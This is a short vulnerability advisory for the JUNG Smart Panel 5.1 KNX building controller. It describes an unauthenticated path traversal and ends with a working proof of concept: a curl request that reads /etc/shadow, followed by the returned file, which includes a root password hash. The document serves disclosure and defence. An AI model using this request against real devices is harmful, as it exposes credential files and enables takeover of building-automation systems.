📄 JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal

JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal
    
    
    Vendor: ALBRECHT JUNG GMBH & CO. KG
    Product web page: https://www.jung-group.com | https://www.jung.de
    Affected version: L1.12.22
    
    Summary: The JUNG Smart Panel 5.1 KNX is a flush-mounted 5-inch touch-sensitive
    controller designed for managing smart building automation via the KNX system.
    It serves as a, intuitive, centralized interface for controlling lighting, shading,
    heating, and security, utilizing a 640 x 480-pixel color TFT screen running on
    embedded Linux.
    
    Desc: The controller suffers from a directory traversal vulnerability. Exploiting
    this issue will allow an unauthenticated attacker to view arbitrary files within
    the context of the web server.
    
    Tested on: GNU/Linux 3.0.35-1.1.0
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2026-5969
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5969.php
    
    
    06.02.2026
    
    --
    
    
    $ curl http://17.17.17.17//etc/shadow
    root:lnC45zXXNWV9E:17011:0:99999:7:::
    daemon:*:16714:0:99999:7:::
    bin:*:16714:0:99999:7:::
    sys:*:16714:0:99999:7:::
    sync:*:16714:0:99999:7:::
    games:*:16714:0:99999:7:::
    man:*:16714:0:99999:7:::
    lp:*:16714:0:99999:7:::
    mail:*:16714:0:99999:7:::
    news:*:16714:0:99999:7:::
    uucp:*:16714:0:99999:7:::
    proxy:*:16714:0:99999:7:::
    www-data:*:16714:0:99999:7:::
    backup:*:16714:0:99999:7:::
    list:*:16714:0:99999:7:::
    irc:*:16714:0:99999:7:::
    gnats:*:16714:0:99999:7:::
    nobody:*:16714:0:99999:7:::
    messagebus:!:16714::::::